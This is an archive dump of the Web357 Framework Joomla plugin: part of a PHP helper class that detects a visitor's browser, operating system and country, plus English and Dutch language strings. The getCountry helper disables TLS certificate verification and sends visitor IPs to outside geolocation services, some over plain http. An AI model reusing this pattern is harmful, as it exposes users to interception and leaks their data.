3.8 // get the Joomla! version if (!version_compare($mini_version, "2.5", "<=")) : // is Joomla! 3.x $this->is_j3x = true; $this->is_j25x = false; else: // is Joomla! 2.5.x $this->is_j3x = false; $this->is_j25x = true; endif; // get API Key from the plugin settings $this->apikey = $this->getAPIKey(); } // Define the DS (DIRECTORY SEPARATOR) public static function defineDS() { if (!defined("DS")): define("DS", DIRECTORY_SEPARATOR); endif; } /** * Get User's Browser (e.g. Google Chrome (64.0.3282.186)) * @param $user_agent null * @return string */ public static function getBrowser() { $u_agent = $_SERVER['HTTP_USER_AGENT']; $bname = 'Unknown'; $ub = 'Unknown'; $platform = 'Unknown'; $version= ""; //First get the platform? if (preg_match('/linux/i', $u_agent)) { $platform = 'linux'; } elseif (preg_match('/macintosh|mac os x/i', $u_agent)) { $platform = 'mac'; } elseif (preg_match('/windows|win32/i', $u_agent)) { $platform = 'windows'; } // Next get the name of the useragent yes seperately and for good reason if(preg_match('/MSIE/i',$u_agent) && !preg_match('/Opera/i',$u_agent)) { $bname = 'Internet Explorer'; $ub = "MSIE"; } elseif(preg_match('/Trident/i',$u_agent)) { // this condition is for IE11 $bname = 'Internet Explorer'; $ub = "rv"; } elseif(preg_match('/OPR/i',$u_agent)) { $bname = 'Opera'; $ub = "OPR"; } elseif(preg_match('/Edg/i',$u_agent)) { $bname = 'Edge'; $ub = "Edg"; } elseif(preg_match('/Firefox/i',$u_agent)) { $bname = 'Mozilla Firefox'; $ub = "Firefox"; } elseif(preg_match('/Chrome/i',$u_agent)) { $bname = 'Google Chrome'; $ub = "Chrome"; } elseif(preg_match('/Safari/i',$u_agent)) { $bname = 'Apple Safari'; $ub = "Safari"; } elseif(preg_match('/Opera/i',$u_agent)) { $bname = 'Opera'; $ub = "Opera"; } elseif(preg_match('/Netscape/i',$u_agent)) { $bname = 'Netscape'; $ub = "Netscape"; } // finally get the correct version number // Added "|:" $known = array('Version', $ub, 'other'); $pattern = '#(?<browser>' . join('|', $known) . ')[/|: ]+(?<version>[0-9.|a-zA-Z.]*)#'; if (!preg_match_all($pattern, $u_agent, $matches)) { // we have no matching number just continue } // see how many we have $i = count($matches['browser']); if ($i != 1): //we will have two since we are not using 'other' argument yet //see if version is before or after the name if (strripos($u_agent,"Version") < strripos($u_agent,$ub)): $version= $matches['version'][0]; else: if (isset($matches['version'][1])): $version = $matches['version'][1]; elseif (isset($matches['version'][0])): $version= $matches['version'][0]; else: $version = ''; endif; endif; else: if (isset($matches['version'][0])): $version= $matches['version'][0]; else: $version = ''; endif; endif; // check if we have a number if ($version==null || $version=="") {$version="?";} $browser_details_arr = array( 'userAgent' => $u_agent, 'name' => $bname, 'version' => $version, 'platform' => $platform, 'pattern' => $pattern ); return $bname . ' (' . $version . ')'; } /** * Get User's operating system (e.g. Windows 10 x64) * @param $user_agent null * @return string */ public static function getOS($user_agent = null) { if(!isset($user_agent) && isset($_SERVER['HTTP_USER_AGENT'])) { $user_agent = $_SERVER['HTTP_USER_AGENT']; } // https://stackoverflow.com/questions/18070154/get-operating-system-info-with-php $os_array = array( 'windows nt 10' => 'Windows 10', 'windows nt 6.3' => 'Windows 8.1', 'windows nt 6.2' => 'Windows 8', 'windows nt 6.1|windows nt 7.0' => 'Windows 7', 'windows nt 6.0' => 'Windows Vista', 'windows nt 5.2' => 'Windows Server 2003/XP x64', 'windows nt 5.1' => 'Windows XP', 'windows xp' => 'Windows XP', 'windows nt 5.0|windows nt5.1|windows 2000' => 'Windows 2000', 'windows me' => 'Windows ME', 'windows nt 4.0|winnt4.0' => 'Windows NT', 'windows ce' => 'Windows CE', 'windows 98|win98' => 'Windows 98', 'windows 95|win95' => 'Windows 95', 'win16' => 'Windows 3.11', 'mac os x 10.1[^0-9]' => 'Mac OS X Puma', 'macintosh|mac os x' => 'Mac OS X', 'mac_powerpc' => 'Mac OS 9', 'linux' => 'Linux', 'ubuntu' => 'Linux - Ubuntu', 'iphone' => 'iPhone', 'ipod' => 'iPod', 'ipad' => 'iPad', 'android' => 'Android', 'blackberry' => 'BlackBerry', 'webos' => 'Mobile', '(media center pc).([0-9]{1,2}\.[0-9]{1,2})'=>'Windows Media Center', '(win)([0-9]{1,2}\.[0-9x]{1,2})'=>'Windows', '(win)([0-9]{2})'=>'Windows', '(windows)([0-9x]{2})'=>'Windows', // Doesn't seem like these are necessary...not totally sure though.. //'(winnt)([0-9]{1,2}\.[0-9]{1,2}){0,1}'=>'Windows NT', //'(windows nt)(([0-9]{1,2}\.[0-9]{1,2}){0,1})'=>'Windows NT', // fix by bg 'Win 9x 4.90'=>'Windows ME', '(windows)([0-9]{1,2}\.[0-9]{1,2})'=>'Windows', 'win32'=>'Windows', '(java)([0-9]{1,2}\.[0-9]{1,2}\.[0-9]{1,2})'=>'Java', '(Solaris)([0-9]{1,2}\.[0-9x]{1,2}){0,1}'=>'Solaris', 'dos x86'=>'DOS', 'Mac OS X'=>'Mac OS X', 'Mac_PowerPC'=>'Macintosh PowerPC', '(mac|Macintosh)'=>'Mac OS', '(sunos)([0-9]{1,2}\.[0-9]{1,2}){0,1}'=>'SunOS', '(beos)([0-9]{1,2}\.[0-9]{1,2}){0,1}'=>'BeOS', '(risc os)([0-9]{1,2}\.[0-9]{1,2})'=>'RISC OS', 'unix'=>'Unix', 'os/2'=>'OS/2', 'freebsd'=>'FreeBSD', 'openbsd'=>'OpenBSD', 'netbsd'=>'NetBSD', 'irix'=>'IRIX', 'plan9'=>'Plan9', 'osf'=>'OSF', 'aix'=>'AIX', 'GNU Hurd'=>'GNU Hurd', '(fedora)'=>'Linux - Fedora', '(kubuntu)'=>'Linux - Kubuntu', '(ubuntu)'=>'Linux - Ubuntu', '(debian)'=>'Linux - Debian', '(CentOS)'=>'Linux - CentOS', '(Mandriva).([0-9]{1,3}(\.[0-9]{1,3})?(\.[0-9]{1,3})?)'=>'Linux - Mandriva', '(SUSE).([0-9]{1,3}(\.[0-9]{1,3})?(\.[0-9]{1,3})?)'=>'Linux - SUSE', '(Dropline)'=>'Linux - Slackware (Dropline GNOME)', '(ASPLinux)'=>'Linux - ASPLinux', '(Red Hat)'=>'Linux - Red Hat', // Loads of Linux machines will be detected as unix. // Actually, all of the linux machines I've checked have the 'X11' in the User Agent. //'X11'=>'Unix', '(linux)'=>'Linux', '(amigaos)([0-9]{1,2}\.[0-9]{1,2})'=>'AmigaOS', 'amiga-aweb'=>'AmigaOS', 'amiga'=>'Amiga', 'AvantGo'=>'PalmOS', //'(Linux)([0-9]{1,2}\.[0-9]{1,2}\.[0-9]{1,3}(rel\.[0-9]{1,2}){0,1}-([0-9]{1,2}) i([0-9]{1})86){1}'=>'Linux', //'(Linux)([0-9]{1,2}\.[0-9]{1,2}\.[0-9]{1,3}(rel\.[0-9]{1,2}){0,1} i([0-9]{1}86)){1}'=>'Linux', //'(Linux)([0-9]{1,2}\.[0-9]{1,2}\.[0-9]{1,3}(rel\.[0-9]{1,2}){0,1})'=>'Linux', '[0-9]{1,2}\.[0-9]{1,2}\.[0-9]{1,3}'=>'Linux', '(webtv)/([0-9]{1,2}\.[0-9]{1,2})'=>'WebTV', 'Dreamcast'=>'Dreamcast OS', 'GetRight'=>'Windows', 'go!zilla'=>'Windows', 'gozilla'=>'Windows', 'gulliver'=>'Windows', 'ia archiver'=>'Windows', 'NetPositive'=>'Windows', 'mass downloader'=>'Windows', 'microsoft'=>'Windows', 'offline explorer'=>'Windows', 'teleport'=>'Windows', 'web downloader'=>'Windows', 'webcapture'=>'Windows', 'webcollage'=>'Windows', 'webcopier'=>'Windows', 'webstripper'=>'Windows', 'webzip'=>'Windows', 'wget'=>'Windows', 'Java'=>'Unknown', 'flashget'=>'Windows', // delete next line if the script show not the right OS //'(PHP)/([0-9]{1,2}.[0-9]{1,2})'=>'PHP', 'MS FrontPage'=>'Windows', '(msproxy)/([0-9]{1,2}.[0-9]{1,2})'=>'Windows', '(msie)([0-9]{1,2}.[0-9]{1,2})'=>'Windows', 'libwww-perl'=>'Unix', 'UP.Browser'=>'Windows CE', 'NetAnts'=>'Windows' ); // https://github.com/ahmad-sa3d/php-useragent/blob/master/core/user_agent.php $arch_regex = '/\b(x86_64|x86-64|Win64|WOW64|x64|ia64|amd64|ppc64|sparc64|IRIX64)\b/ix'; $arch = preg_match($arch_regex, $user_agent) ? '64' : '32'; foreach ($os_array as $regex => $value) { if (preg_match('{\b('.$regex.')\b}i', $user_agent)) { return $value.' (x'.$arch.')'; } } return 'Unknown'; } /** * * Get User's Country with multiple fallback services * * @return string */ public static function getCountry() { // Get the correct IP address of the client $ip = IpHelper::getIp(); if (!filter_var($ip, FILTER_VALIDATE_IP)) { $ip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '0.0.0.0'; } // Skip geolocation for local/private IPs if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) { return 'Unknown'; } // Try multiple services with fallback $services = [ [ 'url' => "http://www.geoplugin.net/json.gp?ip=" . $ip, 'parser' => function($data) { $json = json_decode($data, true); return isset($json['geoplugin_countryName']) ? $json['geoplugin_countryName'] : null; } ], [ 'url' => "http://ip-api.com/json/" . $ip . "?fields=country", 'parser' => function($data) { $json = json_decode($data, true); return isset($json['country']) ? $json['country'] : null; } ], [ 'url' => "https://ipapi.co/" . $ip . "/country_name/", 'parser' => function($data) { return trim($data) !== '' ? trim($data) : null; } ], [ 'url' => "http://ipinfo.io/" . $ip . "/json", 'parser' => function($data) { $json = json_decode($data, true); return isset($json['country']) ? $json['country'] : null; } ] ]; foreach ($services as $service) { $country = self::getCountryFromService($service['url'], $service['parser']); if ($country && $country !== 'Unknown') { return $country; } } return 'Unknown'; } /** * Helper method to get country from a specific service * * @param string $url * @param callable $parser * @return string|null */ private static function getCountryFromService($url, $parser) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 5); // 5 second timeout curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 3); // 3 second connection timeout curl_setopt($ch, CURLOPT_USERAGENT, 'Web357Framework/1.0'); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); $output = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($output === false || $httpCode !== 200) { return null; } try { return $parser($output); } catch (Exception $e) { return null; } } /** * * Fetch the API Key from the plugin settings * * @return string */ public static function getAPIKey() { $db = Factory::getDBO(); $query = $db->getQuery(true); $query->select($db->quoteName('params')); $query->from($db->quoteName('#__extensions')); $query->where($db->quoteName('element') . ' = ' . $db->quote('web357framework')); $query->where($db->quoteName('folder') . ' = ' . $db->quote('system')); $db->setQuery($query); try { $plugin = $db->loadObject(); $plugin_params = new Registry(); $plugin_params->loadString($plugin->params); return $plugin_params->get('apikey', ''); } catch (RuntimeException $e) { JError::raiseError(500, $e->getMessage()); } } /** * * Displays a warning message if the Web357 API key has not been set in the plugin settings. * * USAGE: * // API Key Checker * $w357frmwrk->apikeyChecker(); * * @return string */ public function apikeyChecker() { if (empty($this->apikey) || $this->apikey == '') { // warn about missing api key $api_key_missed_msg = Text::_('W357FRM_APIKEY_REQUIRED_GLOBAL_MSG'); // display the message Factory::getApplication()->enqueueMessage($api_key_missed_msg, 'warning'); // remove the warning heading from alert message Factory::getDocument()->addStyleDeclaration('.alert .alert-heading { display: none; }'); } } } endif; // HOW TO USE /* function W357FrameworkHelperClass() { // Call the Web357 Framework Helper Class require_once(JPATH_PLUGINS.DIRECTORY_SEPARATOR.'system'.DIRECTORY_SEPARATOR.'web357framework'.DIRECTORY_SEPARATOR.'web357framework.class.php'); $w357frmwrk = new Web357FrameworkHelperClass; return $w357frmwrk; } $this->W357FrameworkHelperClass(); echo $this->W357FrameworkHelperClass()->test; */language/nl-BE/nl-BE.plg_system_web357framework.ini000060400000030402151721520510016013 0ustar00; Defaults ; PLG_SYSTEM_WEB357FRAMEWORK="System - Web357 Framework" ; PLG_SYSTEM_WEB357FRAMEWORK_XML_DESCRIPTION="The Web357 Framework Joomla! plugin is a vital helper tool designed to support all Web357 extensions. This plugin centralizes the application of updates, ensuring changes are implemented in a single location (the plugin itself) and automatically rolled out to all external sites using Web357 applications and plugins." ; PLG_SYSTEM_WEB357FRAMEWORK_XML_DESCRIPTION_HTML="<div class='plugin-description'><p>The <strong>Web357 Framework Joomla! plugin</strong> is a vital helper tool designed to support all <a href='https://www.web357.com/joomla-extensions' target='_blank'>Web357 Joomla! Extensions</a>. This plugin centralizes the application of updates, ensuring changes are implemented in a single location (the plugin itself) and automatically rolled out to all external sites using Web357 applications and plugins.</p><h4>Key Features</h4><ul><li><strong>getCountry():</strong> Detects the country of a user using geoplugin.net.</li><li><strong>getOS():</strong> Identifies the operating system of a user (e.g., Windows, Linux, Android, iOS, etc.).</li><li><strong>getBrowser():</strong> Recognizes the browser of a user (e.g., Firefox, Chrome, Safari, Opera, Internet Explorer, etc.).</li></ul><div class='plugin-links'><p><a class='btn btn-sm btn-secondary me-2 mr-2' href='https://www.web357.com/web357-framework-joomla-plugin' target='_blank'>More Details</a> <a href='https://www.web357.com/web357-framework-joomla-plugin/changelog' target='_blank' class='btn btn-sm btn-info me-2 mr-2'>Changelog</a> <a href='https://www.web357.com/support' target='_blank' class='btn btn-sm btn-danger'>Support</a></p></div></div>" ; Headers for Parameters ; W357FRM_HEADER_VERSION_CHECK="Version Check" ; W357FRM_HEADER_JED_REVIEW_AND_RATING="JED Review & Rating ⭐⭐⭐⭐⭐" ; W357FRM_HEADER_DESCRIPTION="Description" ; W357FRM_HEADER_ABOUT_WEB357="About Web357" ; W357FRM_HEADER_PARAMETERS="Parameters" ; Version Check ; W357FRM_YOUR_CURRENT_VERSION_IS="Your current version is" ; W357FRM_VIEW_THE_CHANGELOG="changelog" ; W357FRM_UP_TO_DATE="Your version is up to date. Congratulations!" ; W357FRM_UPDATE_TO_THE_LATEST_VERSION="You must update this extension to the latest version" ; W357FRM_GO_TO_DOWNLOAD_AREA="Download it from the Download Area" ; W357FRM_UPDATE_VIA_THE_JOOMLA_UPDATE_MANAGER="Update via the Joomla! Update Manager." ; W357FRM_OR="or" ; Description ; W357FRM_LIVE_DEMO="Live Demo" ; W357FRM_PRODUCT_S_PAGE="Product's Page" ; W357FRM_SETTINGS="Settings" ; W357FRM_VIEW_DEMO="View Demo" ; W357FRM_MORE_DETAILS="More Details" ; W357FRM_DOCUMENTATION="Documentation" ; W357FRM_CHANGELOG="Changelog" ; W357FRM_SUPPORT="Support" ; W357FRM_NO_DESCRIPTION_FOR_THIS_EXTENSION="Description not available for this extension. Please ensure you have downloaded the latest version of this Joomla! extension from <a href='https://web357.com/joomla-extensions'>https://web357.com/joomla-extensions</a>." ; JED Review ; W357FRM_LEAVE_REVIEW_ON_JED="Please post a rating and a review at the Joomla! Extensions Directory: <a href='%s' target='_blank'><strong>%s</strong> in the JED</a> - Thank you!" ; W357FRM_ASK_FOR_JED_REVIEW="It would be much appreciated if you can leave a review on <a href='%s' target='_blank'>Joomla! Extensions Directory</a>. Thank you! 💗" ; API KEY ; W357FRM_APIKEY_HEADER="API Key (for Web357 commercial extensions only)" ; W357FRM_APIKEY="API Key" ; W357FRM_APIKEY_DESCRIPTION="In order to update commercial Web357 extensions, you have to enter the Web357 License Key.<br>You can find the License Key in your account settings at Web357.com, in <a href='//www.web357.com/my-account/web357-license-manager' target='_blank'><strong>Web357 License Key Manager</strong></a> section.<br>For more details about your License key, please check out <a href='//www.web357.com/apikey' target='_blank'>this page</a>." ; W357FRM_APIKEY_REQUIRED_GLOBAL_MSG="Please enter your Web357 API Key in the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Web357%20Framework'><strong>Web357 Framework plugin settings</strong></a>." ; W357FRM_APIKEY_WARNING="If there was a download error, it's probably because Web357 the API Key has not been set, you can do so in the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Web357%20Framework'><strong>Web357 Framework plugin settings</strong></a>. For more details, please check out the <a href='//www.web357.com/apikey' target='_blank'><strong>API Key documentation page</strong></a>." ; W357FRM_APIKEY_MISSED="Please add your Web357 API Key in the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Web357%20Framework'>Web357 Framework</a>. You can find the API Key in your Account settings in the <a href='my-account/downloads' target='_blank'>Downloads</a> section." ; W357FRM_DOWNLOAD_KEY_MISSING="Download key is missing" ; W357FRM_DOWNLOAD_KEY_MISSING_DESC="In order to update the %s you will need to enter your Download API Key in Web357 Framework plugin settings." ; W357FRM_DOWNLOAD_KEY_MISSING_FIND_APIKEY_AT_WEB357COM="You can find the License Key in your account settings at Web357.com, in <a href='//www.web357.com/my-account/web357-license-manager' target='_blank'><strong>Web357 License Key Manager</strong></a> section." ; W357FRM_DOWNLOAD_KEY_UPDATE_BTN="Enter Web357 Api Key" ; W357FRM_OK="OK" ; W357FRM_MISSING="Missing" ; W357FRM_DOWNLOAD_KEY="Download Key" ; W357FRM_APIKEY_ACTIVATED_AND_VALIDATED="Your API Key <strong>%s</strong> is active and validated." ; W357FRM_APIKEY_INVALID="The Api Key <strong>%s</strong> is invalid.<br>Please, ensure that you have copied correctly the Api Key from your <a href='https://www.web357.com/my-account/web357-license-manager?utm_source=Web357FrameworkSettings&utm_medium=Web357FrameworkSettings-ApiKeyValidation-web357&utm_content=Web357FrameworkSettings-ApiKeyValidation&utm_campaign=apikeyvalidation' target='_blank'>Web357 account</a>.<br>If you still have issues, please, send us an email at support@web357.com." ; W357FRM_SAVE_PLUGIN_SETTINGS="Please, save the plugin settings." ; W357FRM_INACTIVE_SUBSCRIPTION="It seems that your subscription has been expired and you are not able to update any Web357 commercial extension.<br> Please, <a href='https://www.web357.com/joomla-pricing/?utm_source=Web357FrameworkSettings&utm_medium=Web357FrameworkSettings-ApiKeyValidation-web357&utm_content=Web357FrameworkSettings-ApiKeyValidation&utm_campaign=apikeyvalidation' target='_blank'>renew your Web357 subscription</a> to have access to the extension updates. If you have any questions, please feel free to send us an email at support@web357.com." ; W357FRM_CALL_WITH_WEB357_LICENSE_MANAGER_FAILED="Call with Web357's License Manager has been failed. <br>Please, try again later or contact us at support@web357.com." ; W357FRM_APIKEY_NOT_ACTIVATED="Your API Key <strong>%s</strong> is valid, but is not activated yet.<br>Click the button below to activate it." ; W357FRM_ACTIVATE_API_KEY="Activate Api Key" ; Other ; W357FRM_ONLY_IN_PRO="Available only in %s version." ; W357_ERROR_UNINSTALL_FIRST="You must uninstall the %s PRO version before installing the free version." ; Element: checkextension ; W357FRM_EXTENSION_IS_ACTIVE="OK. The extension '%s' is active and ready for use." ; W357FRM_EXTENSION_IS_NOT_ACTIVE="Error: The extension '%s' is not enabled or is not installed yet." ; Fieldsets ; COM_PLUGINS_LOGINASUSER_FIELDSET_LABEL="Assign multiple Admins to specific User Groups" ; Login as User - System Plugin is required ; LOGINASUSER_PLUGIN_IS_REQUIRED="The <strong>'Login as User - System Plugin'</strong> is a mandatory plugin for this and other Web357 extensions to function correctly. Without it, the extension will not work as expected. Please activate it from the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Login%20as%20User' title='Login as User plugin settings'><strong>Plugin Manager</strong></a>, or download it for free from <a href='https://www.web357.com/login-as-user-joomla-component?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=loginasuser_plugin_is_required'>here</a>." ; Monthly Archive - System Plugin is required ; MONTHLYARCHIVE_PLUGIN_IS_REQUIRED="The <strong>'Monthly Archive - System Plugin'</strong> is a mandatory plugin for this and other Web357 extensions to function correctly. Without it, the extension will not work as expected. Please activate it from the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Monthly%20Archive' title='Monthly Archive plugin settings'><strong>Plugin Manager</strong></a>, or download it for free from <a href='https://www.web357.com/monthly-archive-joomla-component-module?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=monthlyarchive_plugin_is_required'>here</a>." ; Fix 404 Error Links - System Plugin is required ; FIX404ERRORLINKS_PLUGIN_IS_REQUIRED="The <strong>'Fix 404 Error Links - System Plugin'</strong> is a mandatory plugin for this and other Web357 extensions to function correctly. Without it, the extension will not work as expected. Please activate it from the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Fix%20404%20Error%20Links' title='Fix 404 Error Links plugin settings'><strong>Plugin Manager</strong></a>, or download it for free from <a href='https://www.web357.com/fix-404-error-links-joomla-component?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=fix404errorlinks_plugin_is_required'>here</a>." ; JMailLog - System Plugin is required ; JMAILLOG_PLUGIN_IS_REQUIRED="The <strong>'JMailLog - System Plugin'</strong> is a mandatory plugin for this and other Web357 extensions to function correctly. Without it, the extension will not work as expected. Please activate it from the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20JMail%20Log' title='JMailLog plugin settings'><strong>Plugin Manager</strong></a>, or download it for free from <a href='https://www.web357.com/jmail-log-for-joomla?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=jmaillog_plugin_is_required'>here</a>." ; Limit Active Logins - System Plugin is required ; LIMITACTIVELOGINS_SYSTEM_PLUGIN_IS_REQUIRED="The <strong>'Limit Active Logins - System Plugin'</strong> is a mandatory plugin for this and other Web357 extensions to function correctly. Without it, the extension will not work as expected. Please activate it from the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Limit%20Active%20Logins' title='Limit Active Logins plugin settings'><strong>Plugin Manager</strong></a>, or download it for free from <a href='https://www.web357.com/limit-active-logins-extension-for-joomla?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=limitactivelogins_plugin_is_required'>here</a>." ; Limit Active Logins - User Plugin is required ; LIMITACTIVELOGINS_USER_PLUGIN_IS_REQUIRED="The <strong>'Limit Active Logins - User Plugin'</strong> is a mandatory plugin for this and other Web357 extensions to function correctly. Without it, the extension will not work as expected. Please activate it from the <a href='index.php?option=com_plugins&view=plugins&filter[search]=User%20-%20Limit%20Active%20Logins' title='Limit Active Logins plugin settings'><strong>Plugin Manager</strong></a>, or download it for free from <a href='https://www.web357.com/limit-active-logins-extension-for-joomla?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=limitactivelogins_plugin_is_required'>here</a>." ; Failed Login Attempts - Authentication Plugin is required ; FAILEDLOGINATTEMPTS_AUTHENTICATION_PLUGIN_IS_REQUIRED="The <strong>'Failed Login Attempts - Authentication Plugin'</strong> is a mandatory plugin for this and other Web357 extensions to function correctly. Without it, the extension will not work as expected. Please activate it from the <a href='index.php?option=com_plugins&view=plugins&filter[search]=Authentication%20-%20Failed%20Login%20Attempts' title='Failed Login Attempts plugin settings'><strong>Plugin Manager</strong></a>, or download it for free from <a href='https://www.web357.com/failed-login-attempts-joomla-component?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=failedloginattempts_plugin_is_required'>here</a>." language/nl-BE/nl-BE.plg_system_web357framework.sys.ini000060400000001166151721520510016635 0ustar00; Defaults ; PLG_SYSTEM_WEB357FRAMEWORK="System - Web357 Framework" ; PLG_SYSTEM_WEB357FRAMEWORK_XML_DESCRIPTION="The Web357 Framework Joomla! plugin is a required helper tool that is used by all the Web357 extensions. Within the plugin files, we have included code and PHP functions that allow the plugin updates to be applied only in one place, i.e. the plugin itself, and ensure that they are rolled out automatically to any external site that is using the Web357 applications and plugins." ; Only for Joomla! 2.5.x ; COM_MODULES_DESCRIPTION_FIELDSET_LABEL="Description" ; COM_PLUGINS_DESCRIPTION_FIELDSET_LABEL="Description" language/en-GB/en-GB.plg_system_web357framework.sys.ini000060400000001156151721520510016622 0ustar00; Defaults PLG_SYSTEM_WEB357FRAMEWORK="System - Web357 Framework" PLG_SYSTEM_WEB357FRAMEWORK_XML_DESCRIPTION="The Web357 Framework Joomla! plugin is a required helper tool that is used by all the Web357 extensions. Within the plugin files, we have included code and PHP functions that allow the plugin updates to be applied only in one place, i.e. the plugin itself, and ensure that they are rolled out automatically to any external site that is using the Web357 applications and plugins." ; Only for Joomla! 2.5.x COM_MODULES_DESCRIPTION_FIELDSET_LABEL="Description" COM_PLUGINS_DESCRIPTION_FIELDSET_LABEL="Description" language/en-GB/en-GB.plg_system_web357framework.ini000060400000030216151721520510016004 0ustar00; Defaults PLG_SYSTEM_WEB357FRAMEWORK="System - Web357 Framework" PLG_SYSTEM_WEB357FRAMEWORK_XML_DESCRIPTION="The Web357 Framework Joomla! plugin is a vital helper tool designed to support all Web357 extensions. This plugin centralizes the application of updates, ensuring changes are implemented in a single location (the plugin itself) and automatically rolled out to all external sites using Web357 applications and plugins." PLG_SYSTEM_WEB357FRAMEWORK_XML_DESCRIPTION_HTML="<div class='plugin-description'><p>The <strong>Web357 Framework Joomla! plugin</strong> is a vital helper tool designed to support all <a href='https://www.web357.com/joomla-extensions' target='_blank'>Web357 Joomla! Extensions</a>. This plugin centralizes the application of updates, ensuring changes are implemented in a single location (the plugin itself) and automatically rolled out to all external sites using Web357 applications and plugins.</p><h4>Key Features</h4><ul><li><strong>getCountry():</strong> Detects the country of a user using geoplugin.net.</li><li><strong>getOS():</strong> Identifies the operating system of a user (e.g., Windows, Linux, Android, iOS, etc.).</li><li><strong>getBrowser():</strong> Recognizes the browser of a user (e.g., Firefox, Chrome, Safari, Opera, Internet Explorer, etc.).</li></ul><div class='plugin-links'><p><a class='btn btn-sm btn-secondary me-2 mr-2' href='https://www.web357.com/web357-framework-joomla-plugin' target='_blank'>More Details</a> <a href='https://www.web357.com/web357-framework-joomla-plugin/changelog' target='_blank' class='btn btn-sm btn-info me-2 mr-2'>Changelog</a> <a href='https://www.web357.com/support' target='_blank' class='btn btn-sm btn-danger'>Support</a></p></div></div>" ; Headers for Parameters W357FRM_HEADER_VERSION_CHECK="Version Check" W357FRM_HEADER_JED_REVIEW_AND_RATING="JED Review & Rating ⭐⭐⭐⭐⭐" W357FRM_HEADER_DESCRIPTION="Description" W357FRM_HEADER_ABOUT_WEB357="About Web357" W357FRM_HEADER_PARAMETERS="Parameters" ; Version Check W357FRM_YOUR_CURRENT_VERSION_IS="Your current version is" W357FRM_VIEW_THE_CHANGELOG="changelog" W357FRM_UP_TO_DATE="Your version is up to date. Congratulations!" W357FRM_UPDATE_TO_THE_LATEST_VERSION="You must update this extension to the latest version" W357FRM_GO_TO_DOWNLOAD_AREA="Download it from the Download Area" W357FRM_UPDATE_VIA_THE_JOOMLA_UPDATE_MANAGER="Update via the Joomla! Update Manager." W357FRM_OR="or" ; Description W357FRM_LIVE_DEMO="Live Demo" W357FRM_PRODUCT_S_PAGE="Product's Page" W357FRM_SETTINGS="Settings" W357FRM_VIEW_DEMO="View Demo" W357FRM_MORE_DETAILS="More Details" W357FRM_DOCUMENTATION="Documentation" W357FRM_CHANGELOG="Changelog" W357FRM_SUPPORT="Support" W357FRM_NO_DESCRIPTION_FOR_THIS_EXTENSION="Description not available for this extension. Please ensure you have downloaded the latest version of this Joomla! extension from <a href='https://web357.com/joomla-extensions'>https://web357.com/joomla-extensions</a>." ; JED Review W357FRM_LEAVE_REVIEW_ON_JED="Please post a rating and a review at the Joomla! Extensions Directory: <a href='%s' target='_blank'><strong>%s</strong> in the JED</a> - Thank you!" W357FRM_ASK_FOR_JED_REVIEW="It would be much appreciated if you can leave a review on <a href='%s' target='_blank'>Joomla! Extensions Directory</a>. Thank you! 💗" ; API KEY W357FRM_APIKEY_HEADER="API Key (for Web357 commercial extensions only)" W357FRM_APIKEY="API Key" W357FRM_APIKEY_DESCRIPTION="In order to update commercial Web357 extensions, you have to enter the Web357 License Key.<br>You can find the License Key in your account settings at Web357.com, in <a href='//www.web357.com/my-account/web357-license-manager' target='_blank'><strong>Web357 License Key Manager</strong></a> section.<br>For more details about your License key, please check out <a href='//www.web357.com/apikey' target='_blank'>this page</a>." W357FRM_APIKEY_REQUIRED_GLOBAL_MSG="Please enter your Web357 API Key in the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Web357%20Framework'><strong>Web357 Framework plugin settings</strong></a>." W357FRM_APIKEY_WARNING="If there was a download error, it's probably because Web357 the API Key has not been set, you can do so in the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Web357%20Framework'><strong>Web357 Framework plugin settings</strong></a>. For more details, please check out the <a href='//www.web357.com/apikey' target='_blank'><strong>API Key documentation page</strong></a>." W357FRM_APIKEY_MISSED="Please add your Web357 API Key in the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Web357%20Framework'>Web357 Framework</a>. You can find the API Key in your Account settings in the <a href='my-account/downloads' target='_blank'>Downloads</a> section." W357FRM_DOWNLOAD_KEY_MISSING="Download key is missing" W357FRM_DOWNLOAD_KEY_MISSING_DESC="In order to update the %s you will need to enter your Download API Key in Web357 Framework plugin settings." W357FRM_DOWNLOAD_KEY_MISSING_FIND_APIKEY_AT_WEB357COM="You can find the License Key in your account settings at Web357.com, in <a href='//www.web357.com/my-account/web357-license-manager' target='_blank'><strong>Web357 License Key Manager</strong></a> section." W357FRM_DOWNLOAD_KEY_UPDATE_BTN="Enter Web357 Api Key" W357FRM_OK="OK" W357FRM_MISSING="Missing" W357FRM_DOWNLOAD_KEY="Download Key" W357FRM_APIKEY_ACTIVATED_AND_VALIDATED="Your API Key <strong>%s</strong> is active and validated." W357FRM_APIKEY_INVALID="The Api Key <strong>%s</strong> is invalid.<br>Please, ensure that you have copied correctly the Api Key from your <a 